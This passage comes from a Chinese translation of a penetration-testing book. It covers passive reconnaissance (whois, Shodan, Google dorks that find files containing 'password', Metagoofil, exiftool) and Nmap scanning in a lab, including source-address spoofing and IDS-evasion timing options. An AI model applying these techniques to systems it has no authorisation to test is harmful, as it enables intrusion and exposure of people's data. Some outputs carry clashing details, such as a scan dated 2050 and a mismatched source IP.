  • 域技术联系人信息,如名字、姓氏、组织、实际地址、电话号码和电子邮件地址

指定要使用的注册商

有时您需要指定要查询的注册商。whois通过允许使用-h“连接到主机”选项来简化此过程。

# whois -h whois.apnic.net 192.0.43.10 

这个 IP 在世界的哪个地方?

您可以使用whois查找 IP 地址分配给的原始国家:

# whois -h whois.arin.net 192.0.43.10 | grep Country: 

我们在这里所做的是使用-h选项来指定whois.arin.net,以提取与192.0.43.10相关联的记录,因为我们特别想要与此 IP 相关的国家信息。我们使用grep命令来提取Country:行。以下是结果输出,表明该 IP 地址位于美利坚合众国:

Country: US

提示

您会发现输出格式会因注册商而异。花些时间熟悉不同的输出,这样您就会知道将来要在输出中搜索什么。这可能会在长远节省您大量时间。

防御措施

当您或您的客户注册域名时,应选择隐私选项。这些选项将限制向公众提供的信息。数据将被隐私代理提供的信息替换。如果有需要与您联系的情况,他们将联系您的代理,代理将再通知您需要解决的问题。

利用搜索引擎为您工作

如果不有效地使用,搜索引擎可能会产生绝对的信息过载。您不仅可以找到有关目标财务状况的信息,还可以找到有关关键员工、用户名和密码、机密文件(如网络图表)、有关您使用或已安装的软件或硬件类型的信息,甚至系统是否处于默认状态的信息。这些信息如果落入错误的手中可能会造成毁灭性的后果。作为渗透测试人员,您的重点应该是提取这类信息,并向客户展示如何利用这些信息来获取对客户最关键资产的访问权限(希望您也会告诉他们如何解决问题!)。

提示

有些搜索引擎会缓存信息以便快速访问,还有一些搜索引擎会存档网站和文件多年。甚至有一些搜索引擎专门关注网络设备,如无线接入点或公共路由器、交换机、服务器等。

SHODAN

我们将继续使用Shodan进行足迹侦察工作。这个搜索引擎专门用于索引连接到互联网的设备提供的横幅信息。该搜索引擎主要索引端口 80 的发现,但也索引一些 Telnet、SSH 和 FTP 横幅。SHODAN 是一个网络应用程序,可以通过访问www.shodanhq.com来访问。

SHODAN

使用Shodan,您可以找到连接到互联网的设备的信息。除了允许您按 IP 地址或主机名搜索外,它还允许您按地理位置搜索。将搜索结果导出为 XML 是一个高级功能,需要您购买积分。如果您想在决定是否花钱购买导出之前构建 MagicTree 或其他数据集中工具的转换,可以查看一个示例导出。

过滤器

有几个免费的过滤器可以使搜索范围缩小得更简单。大多数过滤器使用相同的格式:searchterm filter:{filterterm};例如,搜索IIS 6.0 os:"Windows 2000"。这些过滤器也可以结合使用,以便提取一些非常有趣的结果。

以下是几个重要的过滤器列表:

  • net: 对于渗透测试人员来说可能是最有用的过滤器之一。您可以使用 IP/CIDR 表示法(例如,127.1.1.0/24)搜索您的 IP 范围,以查看所有设备是否按预期配置,或者是否存在迹象表明一个易受攻击的服务器或网络设备配置面向外部并准备在测试期间被攻破。

  • city: 这将限制搜索到所列城市。

  • country: 将搜索限制为所选国家的设备。这对于渗透测试非常重要,因为有时客户可能会提供您 IP 范围(您已经验证了,对吧?),然后由于位置的原因将某些资产排除在范围之外。例如,客户可能选择不针对位于新加坡的系统进行测试。

  • port: 将搜索限制为指定的端口。请记住,SHODAN 并不扫描和索引所有端口的横幅,只扫描和索引 80、21、22 和 23 端口的横幅。

  • before: 搜索指定日期之前扫描的系统。

  • after: 搜索在此日期之后扫描的系统。

  • os: 您想在搜索中包含或排除哪些操作系统?

理解横幅

为了在 Shodan 中进行有效的搜索,您必须了解已索引的横幅类型以及它们通常包含的信息。

FTP、Telnet 和 SSH 横幅将有所不同,但每种都将提供有用的版本信息。

HTTP 横幅

横幅可以通过使用nc example.com:80进行收集,然后输入HEAD / HTTP/1.0,这将导致您在 SHODAN 结果中看到的典型横幅格式。由于 HTTP 横幅通常是最难理解的,我们将介绍一些常见的部分:

root@bt:~# nc example.com 80
Trying 192.168.1.1...
Connected to example.com.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK 
Content-Length: 9908
Content-Type: text/html
Last-Modified: Tue, 11 Oct 2011 02:35:17 GMT
Accept-Ranges: bytes
ETag: "6e879e69be87cc1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sun, 16 Oct 2011 02:08:55 GMT
Connection: close
Connection closed by foreign host.

  • HTTP/1.1 200状态代码的突出显示将为您的查询提供响应,指示请求的状态。在这种情况下,HEAD/ HTTP/1.0被接受并成功处理,从而启动了200 OK的状态代码。

  • Content-Length: 表示内容的长度,以十进制的 OCTET 数表示。

  • Content-Type: 将列出正在发送的内容类型。可能是 image/GIF、text/HTML 或其他类型。

  • Accept-Ranges: 指示服务器是否接受字节范围。将其设置为 none 将让客户端知道范围请求可能被拒绝。

  • ETag: 为客户端提供当前实体标记值。

  • Server: 将为您提供用于服务请求的软件版本和类型。这是渗透测试人员最重要的横幅结果之一。客户端应该被建议隐藏这些信息。您将使用这些信息来确定可能对该机器可用的攻击类型。

  • X-Powered-By: 标志不是标准标头,但可以为攻击者提供有用的信息。它也可以被更改或完全禁用。

常见的状态代码包括:

HTTP 状态代码 描述
200 成功的查询结果显示。
301 文档已永久移动。
302 文档已暂时移动。
307 正在使用临时重定向。
400 语法错误-无法处理您的请求。
401 请求需要身份验证。通常表示需要登录。
403 请求被禁止。
404 服务器上找不到页面。
502 服务器当前不可用。无法代表客户端获取资源。
501 内部服务器错误导致服务器无法完成请求。-请求不受支持。
505 使用了不受支持的 HTTP 版本。

查找特定资产

就像大多数搜索引擎一样,该工具非常用户友好。要执行基本搜索,只需将搜索字符串输入到屏幕顶部的输入框中,然后您将看到结果列表。您可以使用我们之前讨论过的任何过滤器进行搜索,或者您可以尝试查找特定的横幅字段。

在网络上查找人(及其文档)

在当今这个时代,一切都在变得互相连接。人们正在使用他们的个人设备进行工作,使用个人帐户在公共拥有的邮件服务器上发送公司电子邮件,并观看大量视频。多年来出现的一个趋势是,人们对互联网变得如此舒适,以至于愿意与世界各地的未知个人和网站分享他们的信息。我们现在将讨论一些方法,您可以使用这些方法来验证您的客户是否没有无意或有意地将可操作或机密数据泄露到公共互联网上。

Google 黑客数据库

已经有很多关于 Google 黑客的书籍,谈论细节和技巧会很快转移本书的重点。

提示

如果您对 Google 黑客不熟悉,请搜索 Johnny Long 并访问他的网站www.hackersforcharity.com,并查看原始的 Google Dorks 存储库,即 Google Hacking Database (GHDB)。

Exploit-DB 在exploit-db.com接管并更新了 Mr. Long 的 Google Dorks 数据库。这现在是官方的 GHDB 网站。您应该与良好的过滤器一起使用这些工具,以确保您只获取所需的数据。以下是一些示例,说明如何做到这一点。

转到exploit-db.com/google-dorks并选择一个查询。这是一个随机条目:

inurl:ftp "password" filetype:xls

将其输入Google.com并进行以下修改。添加site:选项,后面跟着您规则中的域名:

site:example.com inurl:ftp "password" filetype:xls

在这个例子中,如果找到任何结果,您已经找到了一个包含某种形式“密码”的 MS Excel 文件。请注意,结果会有所不同,而且最好的 Google 搜索查询通常集中在确定已安装软件的版本,寻找已知的易受攻击的安装,如果规则允许的话,以后将被攻击。

您还应该执行定向搜索,以查找所有主要文档类型,如.pdf,.doc,.txt,.xls等。但是,还有一些其他工具可以帮助我们。

提示

警告:不要在您的主要测试机器上打开随机文件。您应该有一台与您的网络或互联网没有连接的单独的机器,可以用来打开未知(可能有害)的文件和媒体。通过向使用漏洞打开系统的用户发送文件来访问计算机的最简单方法之一。在不受控制的环境中打开未知文件是鲁莽的。不要成为那个用户。

Google 过滤器

要了解在浏览 Exploit-DB 的Google Hacking Database (GHDB)时将看到的查询类型,您必须了解使用的操作符类型。以下是更常见的高级操作符列表:

过滤器 描述 示例
allinurl 在 URL 中搜索所有术语 allinurl:example company
allintext 在页面文本中搜索所有术语 allintext:company name
intitle 在页面标题中搜索术语 intitle:ftp
cache 显示缓存页面 cache:example.com
phonebook 搜索电话簿列表 phonebook:CompanyName
author 搜索 Google Groups 中特定作者的项目(使用 Google Groups 搜索) author:anonymous
filetype 搜索特定类型的所有文档 filetype:pdf
site 限制搜索到特定站点(或域) site:example.com
link 查找所有指向指定 URL 的页面 link:example.com

Metagoofil

Metagoofil 是由 Christian Martorella 创建的强大的元数据收集工具(www.edge-security.com),可以用于自动化搜索引擎文档检索和分析。它还具有提供 MAC 地址、用户名列表等功能。

BackTrack 默认安装了 Metagoofil Blackhat Arsenal Edition。打开终端,输入以下内容:

# cd /pentest/enumeration/google/metagoofil 

Metagoofil 是一个 Python 脚本,可以通过输入以下内容来启动:

# ./metagoofil.py 

这导致以下输出:

*************************************
* Metagoofil Ver 2.1 - *
* Christian Martorella *
* Edge-Security.com *
* cmartorella_at_edge-security.com *
* Blackhat Arsenal Edition *
*************************************
Metagoofil 2.1:
Usage: metagoofil options
-d: domain to search
-t: filetype to download (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx)
-l: limit of results to search (default 200)
-h: work with documents in directory (use "yes" for local analysis)
-n: limit of files to download
-o: working directory
-f: output file
Examples:
metagoofil.py -d microsoft.com -t doc,pdf -l 200 -n 50 -o microsoftfiles -f results.html
metagoofil.py -h yes -o microsoftfiles -f results.html (local dir analysis)

让我们在example.com域上尝试metagoofil.py

# python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html 

作为渗透测试人员,当运行此工具时,您会想要找到一些文件,这些文件会为您提供有关客户的各种信息。我们目前在example.com域上没有这样的文件,因此输出如下:

*************************************
* Metagoofil Ver 2.1 - *
* Christian Martorella *
* Edge-Security.com *
* cmartorella_at_edge-security.com *
* Blackhat Arsenal Edition *
*************************************
['doc']
[-] Starting online search...
[-] Searching for doc files, with a limit of 200
Searching 100 results...
Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------
tuple index out of range
Error creating the file
[+] List of users found:
--------------------------
[+] List of software found:
-----------------------------
[+] List of paths and servers found:
---------------------------------------
[+] List of e-mails found:

如前面的输出所示,如果这个网站有任何可以通过谷歌搜索的信息,它将提供一个漂亮的 HTML 报告,其中包括用户名、电子邮件地址、软件、服务器和路径。所有这些都可以通过一个简单的命令序列完成。您可以更改变量以查找谷歌可以找到的任何文档类型,基于filetype:选项。

搜索互联网以寻找线索。

到目前为止,您应该有一些用户名,甚至可能还有一些电话号码和职位。如果您计划进行社会工程测试,这些信息将会很有用。

提示

搜索引擎如谷歌可以用来搜索企业员工在互联网上发布的信息,就像你搜索馅饼食谱一样容易。在开始之前,请确保你的客户希望你在开始之前进行员工调查,而不是之后。有许多法律保护员工的隐私,只有律师才能告诉你什么是可以接受的,什么是不可以接受的。

渗透测试中似乎有一种突出的做法,就是搜索员工在论坛和群组上发布的信息,这些信息可能涉及工作资产。大多数信息不会以恶意方式与世界分享,而是无意中。但这并不改变攻击者可以访问这些信息并可能针对目标公司使用它的事实。寻找诸如公司管理员寻求帮助配置特定防火墙类型或其他网络设备等内容。在公共论坛上发布问题的安全专业人员可能无意中提供了关于他们公司遵守哪些标准的线索。这些是给予你作为渗透测试人员以及高级攻击者所需的知识,以便渗透一个本来安全的环境。

以下是一些可以帮助您找到更多信息的工具:

名称 描述 位置
SecApps Google Hacking Database Explorer Web 应用程序,允许您输入站点和查询修饰符以自动化您的 GHDB 查询。 www.secapps.com/a/ghdb
Site Digger 3.0 搜索谷歌缓存。找到各种信息。需要.NET Framework 3.5 才能运行。 www.mcafee.com/us/downloads/free-tools/sitedigger.aspx
The Harvester 从搜索引擎和 PGP 服务器中搜索子域、主机名、用户、员工电子邮件和姓名。 包含在 BackTrack 中或code.google.com/p/theharvester
Lullar.com 通过姓名、电子邮件或用户名搜索人员。 com.lullar.com/
White Pages 查找商业信息的好地方。 www.whitepages.com/
PeekYou 通过用户名、姓氏或名字搜索人员。 www.peekyou.com/
TinEye 在网络上查找您的图片。 www.tineye.com/
Internet Archive 个人最喜欢,存档网站和文件多年。 www.archive.org/web/web.php

元数据收集

在本章中,当讨论Metagoofil时,我们已经提到了元数据。元数据对于渗透测试人员来说可以提供非常有用的信息。许多用户甚至不知道这些信息被附加到他们的文件中。一个很好的例子就是与不同图像格式相关的Exif数据。您可以了解使用了什么类型的相机,照片拍摄的时间,拍摄地点(如果当时有 GPS 数据可用的话,比如手机相机...)等等。图片并不是唯一具有这种大量数据的文件。PDF 文档等也是如此。Foca是一个具有直观用户界面的优秀程序,强烈建议使用,但它是一个 Windows 程序,在 BackTrack 上安装起来很困难(尽管绝非不可能!)。因此,我们将回顾其他预装在我们选择的渗透测试工具包 BackTrack 上的选项。

注意

如果您的客户使用 Windows 7 或 Windows Server 2008,请让他们知道有一个选项可以通过几次鼠标点击从某些文件类型中删除所有个人元数据。

使用 exiftool 从照片中提取元数据

exiftool已经预装在 BackTrack 5 上,可用于列出与许多文件类型相关的所有 Exif 数据。这个工具非常强大,可以让您将结果导出到许多不同的格式,写入文件元数据等。

我们将使用位于/pentest/misc/exiftool/t/imagesFotoStation.jpg图片作为我们的第一个使用示例。

要启动exiftool,您可以打开一个终端会话并输入:

# cd /pentest/misc/exiftool 

如果运行默认的exiftool,将会显示工具帮助选项。内容非常丰富,所以准备好大量阅读。在这里,我们对FotoStation.jpg进行了简单的检查:

# ./exiftool t/images/FotoStation.jpg 

这将产生以下输出:

ExifTool Version Number : 8.56
File Name : FotoStation.jpg
Directory : t/images
File Size : 4.2 kB
File Modification Date/Time : 2011:04:30 05:32:11-04:00
File Permissions : rw-r--r--
File Type : JPEG
MIME Type : image/jpeg
Image Width : 8
Image Height : 8
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Original Image Width : 1536
Original Image Height : 1024
Color Planes : 3
XY Resolution : 38.626
Rotation : 90
Crop Left : 18.422%
Crop Top : 24.458%
Crop Right : 83.035%
Crop Bottom : 77.817%
Crop Rotation : 0
Application Record Version : 2
Edit Status : Edit Status
Urgency : 1 (most urgent)
Category : Cat
Caption-Abstract : Caption *** Local Caption *** Local Caption
Special Instructions : Special Instructions
Object Cycle : Unknown (Afternoon)
Original Transmission Reference : OTR
Object Preview File Format : Unknown (Custom Field 01)
Object Preview File Version : Custom Field 02
Object Preview Data : (Binary data 15 bytes, use -b option to extract)
Document Notes : Document Notes
Image Size : 8x8

我们可以看到这提供了大量的数据,但没有什么可以真正用于您的渗透测试。现在让我们尝试不同的文件格式:

# exiftool t/images/FlashPix.ppt 

这为我们提供了以下内容:

ExifTool Version Number : 7.89
File Name : FlashPix.ppt
Directory : ./t/images
File Size : 9.5 kB
File Modification Date/Time : 2011:04:30 05:32:11-04:00
File Type : PPT
MIME Type : application/vnd.ms-powerpoint
Title : title
Subject : subject
Author : author
Keywords : keywords
Comments : comments
Last Saved By : user name
Revision Number : 1
Software : Microsoft PowerPoint
Total Edit Time : 4.4 minutes
Create Date : 2007:02:09 16:23:23
Modify Date : 2007:02:09 16:27:49
Word Count : 4
Category : category
Presentation Target : On-screen Show
Manager : manager
Company : company
Bytes : 4610
Paragraphs : 4
Slides : 1
Notes : 0
Hidden Slides : 0
MM Clips : 0
App Version : 10 (0972)
Scale Crop : 0
Links Up To Date : 0
Shared Doc : 0
Hyperlinks Changed : 0
Title Of Parts : Times, Blank Presentation, Title
Heading Pairs : Fonts Used, 1, Design Template, 1, Slide Titles, 1
Code Page : 10000
Hyperlink Base : hyperlink base
Hyperlinks : http://owl.phy.queensu.ca/, http://www.microsoft.com/mac/#TEST, mailto:phil?subject=subject
Custom Text : customtext
Custom Number : 42
Custom Date : 2007:01:09 05:00:00
Custom Boolean : 1
Current User : user name

这就是您在测试时要寻找的元数据。在这个特定的例子中,出于学习目的,信息已经被清除,但一些感兴趣的字段应该包括:

  • 标题

  • 主题

  • 作者

  • 评论

  • 软件

  • 公司

  • 经理

  • 超链接

  • 当前用户

当所有这些数据结合在您的数据收集和集中工具中时,就会形成一个完整的图片。您可以使用exiftool从 Flash、PPT 等文件中提取或写入元数据。您可以从www.sno.phy.queensu.ca/~phil/exiftool/#supported获取支持的文件类型的完整列表。

总结

在本章中,我们已经回顾了许多收集免费可用信息的专门方法。使用这些信息,我们能够对我们正在针对的网络创建一个更大的图片。

完成初始侦察后,我们应该能够确定客户提供给我们的网络空间是否准确。我们还应该能够成功确定哪些文档可以在互联网上搜索,并且能够阅读与这些文档相关的元数据。在渗透测试的这一阶段,我们应该能够对这项工作的难易程度有所了解。其中一个指标将是您从 Shodan 等搜索引擎中收集到的结果。最后,请务必勤奋地收集您找到的数据。文档记录至关重要,并将使您作为渗透测试人员的生活在长远来看更加轻松。

在下一章中,我们将开始利用我们收集到的信息。您将有机会直接枚举网络。我们还将开始建立一个功能性实验室,让您可以跟随整个过程的每一步。第三章涵盖的一些主题包括了如何何时使用 NMAP,利用 SNMP 的优势,各种避免技术等等!

第三章:枚举:明智地选择你的目标

要成功渗透一个安全的环境,你必须对你所面对的情况有很好的理解。收集到的枚举数据将有助于确定目标优先级。在本章结束时,你应该能够选择哪些目标是你初始攻击的理想候选人。某些攻击类型比其他攻击类型更“嘈杂”,因此有针对性的攻击更不容易被注意到。由于开源社区的辛勤工作,我们有大量的工具可用来帮助我们枚举网络。在本章中,我们将讨论以下内容:

  • 如何将另一台计算机添加到我们的虚拟实验室

  • 高级 Nmap 扫描技术

  • 向你的武器库添加自定义 Nmap 脚本

  • 使用 SNMP 节省时间

  • 使用 PBNJ 为你的目标网络建立基线

  • 避免枚举尝试-混淆敌人

注意

本章中的一些示例利用防火墙和 IDS 日志,让读者了解某些扫描和技术对网络的影响。我们将在后面的章节中审查它们的安装和配置。

向我们的实验室添加另一台虚拟机

我们已经到达了书中另一台系统对我们的实验室有益的地方。在本节中,我们将在我们的网络上安装另一台机器,这样我们就可以尝试描述的枚举技术。

注意

虽然有益,但在这一点上安装另一个虚拟系统并不是绝对必要的。所有的例子都在书中有清晰的记录。

在本文中,我们将使用 Ubuntu 10.04 LTS 64 位作为示例。你可以从www.ubuntu.com/download/ubuntu/download下载 Ubuntu 10.04 LTS。一旦你获得了 ISO 的副本,我们就可以开始安装。

在 VirtualBox 中准备一个新的虚拟机,步骤如下:

  • 名字:Ubuntu_TestMachine_1

  • 操作系统:Linux版本:Ubuntu 或 Ubuntu 64(64 位)

  • 内存:最低 512

  • 创建新的硬盘:VDI,动态分配,最小 10GB向我们的实验室添加另一台虚拟机

启动Ubuntu_TestMachine_1虚拟机,并使用First Run Wizard选择你已经下载的 Ubuntu ISO 作为安装媒体。按照标准的 Ubuntu 安装过程使用完整的虚拟机(VBOX ATA)驱动器。

在安装过程中选择以下设置:

  1. 你的名字是什么:学生

  2. 你想用什么名字登录:学生

  3. 选择一个密码:1easyPassword

  4. 这台计算机的名字是什么?:Phobos

  5. 需要我的密码登录:已选择

一旦你成功安装了 Ubuntu,它就需要更新。打开一个终端窗口,方法是转到左上角菜单,选择应用程序|附件|终端,然后输入:

# sudo apt-get update 

接着:

# sudo apt-get upgrade 

由于我们将使用这个系统作为典型网络上可能看到的示例,我们需要安装一些有趣的服务。

  1. 打开一个终端会话,输入以下命令,它将安装 Apache、MySQL 和 PHP:
# sudo apt-get install lamp-server 

  1. 安装将继续,在下载了一些文件之后,你将需要输入你选择的MySQL根用户的密码。

  2. 确认你的密码并按Enter

系统已经更新,我们有一些有趣的端口可以用于扫描。现在我们可以关闭新的客户机,并使用VM VirtualBox Manager Settings图标将网络设置更改为内部网络,名称设置为:Vlab_1。将网络适配器设置为内部网络允许我们的 BackTrack 系统与新创建的 Ubuntu 机器共享相同的子网。

向我们的实验室添加另一台虚拟机

配置和测试我们的 Vlab_1 客户端

让我们启动我们的两台虚拟机,然后配置和测试网络连接。

BackTrack 手册 ifconfig

BT5_R1_Tester1中打开终端,然后键入以下内容:

# ifconfig eth1 192.168.50.10 netmask 255.255.255.0 broadcast 192.168.50.255 promisc 

我们已经将位于我们的虚拟VLab_1段上的eth1设置为 IP 地址192.168.50.10网络掩码设置为255.255.255.0,并将广播地址设置为192.168.50.255。作为额外的奖励,我们还将设备设置为淫乱模式。

提示

为了使淫乱模式工作,必须启用它。该选项位于VM Manager网络设置下。默认情况下,此设置对所有网络适配器都禁用。

淫乱模式允许您监视网络段上的流量。

Ubuntu——手动 ifconfig

通过使用顶部菜单栏并单击应用程序|附件|终端Ubuntu_TestMachine_1中打开终端。键入sudo ifconfig以检查当前配置。如果一切配置正确,eth0应该没有分配 IP 地址。我们将通过重复用于我们的 BackTrack 机器的步骤来纠正这种情况。这次我们将使用eth0而不是eth1,并且我们不会将此网络适配器置于淫乱模式。

# sudo ifconfig eth0 192.168.50.20 netmask 255.255.255.0 broadcast 192.168.50.255 

验证连接

我们将尝试 ping 这些机器以验证连接。在BT5_R1_Tester1上键入:

# ping 192.168.50.20 

Ubuntu_TestMachine_1上键入:

# ping 192.168.50.10 

如果一切配置正确,您应该看到类似以下截图的内容:

验证连接

重启后保持 IP 设置

如果您希望静态分配网络信息而无需每次手动输入此信息,可以编辑适当的以太网设备的/etc/network/interfaces文件。

提示

可以为两台虚拟机完成以下步骤。确保为每台机器使用正确的 IP 和适配器信息。

以下是在 BackTrack 客户机中更改该文件所需更改的示例:

auto eth1
iface eth1 inet static
address 192.168.50.10
netmask 255.255.255.0
network 192.168.50.0
broadcast 192.168.50.255

在修改此文件后,请务必重新启动网络服务(/etc/init.d/networking `restart)。

提示

Ubuntu 用户可以使用ufw(简化防火墙)来管理基于主机的 iptables 防火墙。本章中提到使用基于主机的防火墙的示例利用了这一事实。有关 UFW 的更多信息可以在网站help.ubuntu.com/10.04/serverguide/C/firewall.html上找到。

这个防火墙很容易配置,而且非常稳定。UFW 默认情况下是禁用的,但可以通过简单地键入:sudo ufw enable来启用。

Nmap——了解你

如果您正在阅读本文,很可能您以前使用过 Nmap。对于那些没有使用过的人,这是一个强大的枚举工具的简短描述。Nmap(网络映射器)自 1997 年以来一直存在,最初由 Gordon“Fyodor”Lyon 创建。即使您以前从未使用过该程序,您可能至少在许多出现过的电影中看到了它的输出。

Nmap 可用于扫描网络、监视服务、协助系统清单任务等。根据选择的选项,Nmap 将能够提供操作系统类型、开放端口等信息。如果这还不够,Nmap 脚本引擎可以用于进一步扩展基本功能。

根据nmap.org网站的说法,Nmap 5 现在包含了 177 个脚本。这些脚本的目的范围从猜测Apple Filing Protocol密码到验证是否可以建立到 X 服务器的连接。

Nmap 套件还包括:

  • ZenMap:Nmap 的图形用户界面。

  • Ncat:基于 netcat,但更新了更大的功能集,如 ncat 链接、SSL 支持等。二进制文件可用。

  • Ncrack:用于测试认证实现和密码强度。支持许多常用协议。

  • Ndiff:可用于对网络进行基线测试。将 nmap 扫描与彼此进行比较。

  • Nping: 允许您创建自定义数据包,然后将其集成到您的扫描中。能够执行原始数据包操作。

注意

以下部分中使用的一些示例显示了需要结合防火墙和 IDS 来展示工具行为的某些方面的样本输出。设置这些设备在本书的后续章节中有详细介绍,但超出了本章的范围。

常见的 Nmap 扫描类型和选项

Nmap 命令语法:nmap -{type(s)} -{opt(s)} {target}

有用的选项:

扫描选项 标题 功能
-g 指定源端口 使用指定的源端口发送数据包。
--spoof_mac 伪装 Mac 创建一个假的 Mac 地址来发送数据包。可以随机化 MAC 地址。
-S 源 IP 地址 伪装源 IP 地址或告诉 Nmap 使用哪个 IP。
-e 选择以太网接口 确定要在哪个以太网发送和接收数据包。
-F 快速扫描 将默认扫描减少到 nmap-services 文件中的 100 个端口。
-p 指定端口范围 确定要扫描哪些端口。
-R 反向查找 强制反向查找。
-N DNS 解析 执行反向查找。
-n 无 DNS 解析 不进行反向查找。
-h 帮助文本 提供 Nmap 帮助文本。
-6 启用 IPv6 扫描 IPv6。
-A 侵略性 同时启动许多选项,如版本和脚本扫描。谨慎使用。
-T(0-5) 定时选项 确定您希望扫描的侵略性。
--scan_delay 添加延迟 在探测之间添加延迟。
-sV 服务版本 探测服务软件版本。

有用的类型:

扫描类型 标题 功能
-sA ACK 扫描 检查端口是否有状态。用于测试防火墙。
-sP Ping 扫描 用于快速网络发现。
-sR RPC 扫描 定位 RPC 应用程序。可能会在成功扫描的主机上留下日志条目。现在这是-sV的别名。
-sS TCP SYN 扫描 非常快速和隐蔽。半开放扫描。
-sT TCP 扫描 建立完整连接。效率低下。非常吵闹的扫描类型,容易被注意到。
-sU UDP 扫描 确定某些 UDP 端口是否开放。
-sX XMAS 扫描 对某些防火墙配置有用的隐秘扫描。查找 RST 数据包以确定端口是否关闭。适用于扫描 UNIX 系统。
-sL 列表扫描 列出将被扫描的 IP 地址。使用-n确保不会在网络上发送数据包。
-sO IP 协议扫描 搜索主机上正在使用的 IP 协议。
-sM FIN/ACK 隐蔽扫描。对基于 UNIX 的系统有用。查找 RST 数据包。
-sI 空闲扫描 僵尸主机扫描,非常隐蔽的扫描。
-sW 窗口扫描 查看 RST 数据包的 TCP 窗口值,以确定端口是开放还是关闭。

输出类型:

输出类型 标题 功能
-oA 全部 可 grep,正常,XML。
-oG 可 grep 格式化为 grep。
-oX XML 将结果输出到 XML。
-oN 正常 人类可读的输出。

基本扫描 —— 热身

我们将从对我们的Ubuntu_TestMachine_1192.168.50.20上进行一些基本扫描开始。在这里,我们将使用-A选项执行简单的扫描,以确定目标系统上有哪些端口是开放的。

# nmap -A 192.168.50.20 
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2050-12-22 14:32 EDT
Nmap scan report for 192.168.50.20
Host is up (0.00045s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:64:38:C7 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.19 - 2.6.35
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.46 ms 192.168.50.20
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds

通过查看突出显示的结果,我们可以确定在80/tcp端口上有一个运行着Apache httpd web server version 2.2.14的开放端口。我们还看到目标上运行的操作系统是 Linux 2.6.x。此外,-A标志启动了一个traceroute命令,告诉我们目标只有一跳远。

注意

NMAP 的-A扫描非常吵闹,当需要隐蔽时不应使用。

这是从一个非常简单的命令中获得的大量信息。让我们继续了解这个强大工具的一些更高级的功能。

其他 Nmap 技术

Nmap 可用于各种目的。除了作为快速网络发现工具外,它还可以用于隐秘地基线测试您的网络、指纹服务、绘制防火墙规则,并配置为绕过 IDS 签名。我们现在将尝试一些 Nmap 为我们提供的更高级功能。这些信息绝不是全面的,因此我们将专注于能帮助我们测试安全环境的功能。

保持隐秘

网络扫描过程涉及向网络主机发送特制的数据包并检查特定标准的结果。基于这些结果,您有望确定网络上有哪些主机、它们正在运行什么服务以及这些服务的版本水平。然后,这些信息用于决定哪些类型的攻击可能会成功。我们可以使用几种方法来尝试确定这些信息,有些方法类似于在街上大声喊自己的名字,而其他方法则类似于在夜间悄悄行走。

在安全环境中,您可能会处理寻找特定行为的 IDS,例如:发送了多少数据包以及发送速度如何,流量是否异常等。防火墙将倾向于标记任何异常的连接尝试。为了确保您有一点机会保持不被发现,需要采取某些措施。

花点时间

您可以使用以下 nmap 选项更改扫描的时间:

  • -T(0-5)模板允许您设置扫描的侵略性。这是最简单的检测规避方法。0 是偏执狂,5 是疯狂,应仅在局域网上使用。这比单独设置这些选项要快得多,但会减少您对扫描的控制。

  • --max-hostgroup将限制一次只扫描一个主机。您可以更改值为您感到舒适的任何值,但请记住,IDS 在检查其签名时会合并您发送的探针(例如,2 分钟内的 5 个探针等)。

  • --max-retries:在渗透测试中,这是一个您可能不想调整的设置,除非您非常确定网络的稳定性。如果您非常偏执并且不担心在扫描中错过潜在的易受攻击的系统,可以将此值减少为 0。

  • -max-parallelism 10将只允许同时有 10 个未完成的探测。使用此选项来控制同时发送的探测数量。

  • --scan-delay允许您在探测之间设置暂停。

让我们在以下命令中尝试一些这些选项:

# nmap -P0 -n -sS --max_hostgroup 1 --max_retries 0 --max_parallelism 10 192.168.50.0/24 

重传上限将被触发;端口将在扫描完成时放弃。到扫描完成时,我们将知道 192.168.50.X 子网上有哪些系统是活动的。

注意

在使用--max_parallelism时不要使用--scan_delay选项,因为它们彼此不兼容。

尝试不同的扫描类型

这是从 192.168.50.10 到 192.168.75.11 的典型扫描结果。

root@bt:~# nmap -T5 192.168.50.10 
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-29 18:50 EDT
Nmap scan report for 192.168.50.10
Host is up (0.0017s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp open ftp
79/tcp open finger
80/tcp open http
110/tcp open pop3
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds

从此输出中,我们可以看到 21、79、80、110 和 443 在此主机上是打开的。

注意

大多数 IDS 即使在默认配置下也会检测到此扫描类型;但是,网络和基于主机的防火墙可能会默认忽略流量,除非特别配置以记录允许的流量。如果您想看到结果,请打开 UFW 并使用它来打开和关闭特定端口。此练习可能有助于充分理解结果输出。

如果您尝试使用有状态的基于主机的防火墙阻止到端口 79 和 21 的流量进行扫描,您将看到类似以下的流量:

root@bt:~# nmap -T5 192.168.50.10 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-29 18:56 EDT
Nmap scan report for 192.168.50.10
Host is up (0.0014s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp filtered ftp
79/tcp filtered finger
80/tcp open http
110/tcp open pop3
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 14.22 seconds

通过仔细审查突出显示的代码,我们可以看到端口状态为filtered,端口为2179。尽管我们无法确定端口是否打开,但我们知道它们以某种方式存在于目标机器上。

SYN 扫描

使用-sS对 192.168.50.10 的一个完全开放的主机进行扫描,从 192.168.75.11 我们看到以下结果:

root@bt:~# nmap -sS -T5 192.168.50.10 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-10-29 19:09 EDT
